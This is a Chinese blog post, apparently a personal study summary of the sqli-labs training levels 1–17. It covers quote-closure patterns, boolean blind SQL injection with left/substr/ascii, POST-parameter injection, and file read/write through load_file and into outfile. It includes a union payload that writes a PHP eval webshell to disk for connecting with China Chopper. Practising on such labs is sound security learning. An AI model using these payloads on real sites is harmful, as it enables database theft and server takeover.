sqli-labs靶场总结(持续更新)

一.less01~less04

1.less01:

进行输入后查看构造的sql语句为

id='1'

无特殊,将单引号前面闭合,后面注释即可

2.less02:

同上查看输入后构造的sql语句为

 id=1

可以看到什么闭合都没有,直接构造即可
注意:在使用union联合查询语句后,发现没有回显,这时可以将id的值改为一个不存在的值(即让主查询语句进行报错),就可以显示出联合查询语句的查询信息了

3.less03:

同上

id=('1')

同理将这里的单引号和括号前闭合后注释即可

4.less04

id=("1") 

同上
总结:要看一下回显是在联合查询的哪个位置回显的,然后让主查询报错,就可得到联合查询的结果。

二.补充知识

1.left()函数:

left(a,b)从a的左侧截取a的前b位,正确返回1,错误返回0

2.substr()函数:

substr(a,b,c)从位置b开始,截取a字符串c位长度

3.ascii()函数

将某个字符串转化为ascii值

三.less05~less17

1.less05

输入后发现,当你输入一个存在的值时显示you are in…,输入一个不存在的值时什么回显也没有。这就是典型的基于真假的盲注了
输入id=1’显示sql语句错误的提示,表名此处存在sql注入漏洞
构造闭合之后加

and left((select database()),1='c')

基于真假的盲注就是构造像这样的语句来进行猜测,从而达到相关的目的

另一种函数的用法

and ascii(substr(select database(),1,1))>156

这样也可以起到相同的作用,然后查看页面回显是正确时的还是错误时的,进而去确认

2.less06

与less05基本相同输入后显示

id="1"

方法与前面基本相同

补充知识

load_file()
读取本地文件
用法:select load_file(‘文件的路径’)
into outfile
写文件
用法:select ‘mysql is very good’ into outfile ‘test.text’;
或者是 select ‘crow 666’ into outfile ‘要写入的文件路径’;

3.less07

?id=1')) union select 1,2,'aaa' into outfile '要写入的地址' --+

如果不想将主查询语句的结果也写入进去,让主查询语句报错即可。
使用这个语句可以将一句话木马写入
例如将‘aaa’换成:

'<?php @eval($_post["crow"]);?>'

然后用菜刀连接一手,就可

4.less08

输入id=1,发现语句正确;然后输入id=1’,报错;加入注释符又显示正确。
可以看到输入正确时,页面显示you are in,错误时什么回显都没有,很明显的盲注

5.less09&less10

less09:

id='1'

less10:

id="1"

6.less11

当我们进行输入后可以看到很明显的一点就是这里的URL中并没有我们输入的参数,该传参类型为post。

注:- -+的注释主要是适用在URL中的,而#可以用在post传参中

还有就是这里用HackBar里的Post data进行post传参时点击发送没反应,后来从网上查将submit的首字母S改为大写就可以了(反正就是很玄学)

接下来的话就和上面差不多了,前面进行闭合,再将后面的语句注释(用#进行注释),这里可以用一些拼接函数来达到一次性输出的目的。

7.less12

和less11差不多,变的只是数据的包裹方式:

username=("admin")

总结一下数据包裹的一般形式

')
'))
"
")
"))

在猜测如何构造闭合时,可以按照上述的几个符号进行依次测试(这里可以采取暴力破解的方式)

8.less13

经过一系类的测试,发现本关为盲注,没有什么特殊的,还是一个一个的猜字母,不想那么麻烦的话可以直接用burp暴力破解

注:个人理解的or和and的用法,你可以将where语句理解成一个判断语句,or的话第一个错了会接下去判断另一个(只要有一头为真结果即为真),而and第一个错了就没必要再继续判断下一个了(两个都真结果才为真)。

9.less14

这关和13关差不多,唯一不同的地方就是构造闭合的方式:

username="ad"

10.less15

一样的,这关为盲注,参数的提交方式为post,不同的也是构造闭合的方式:

username='a'

11.less16

也是包裹方式的差异

username=("456")

12.less17

因为这一关的传参方式为post,利用burp抓包后找到传递参数的那句进行构造。
发现在对username进行单引号的闭合时,服务端会对我们传入的单引号进行转义,不能对username进行操作了。只能对password进行构造了
将password传入的参数进行前面单引号闭合,后面用#进行闭合
之后的就和前面几关一样了。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值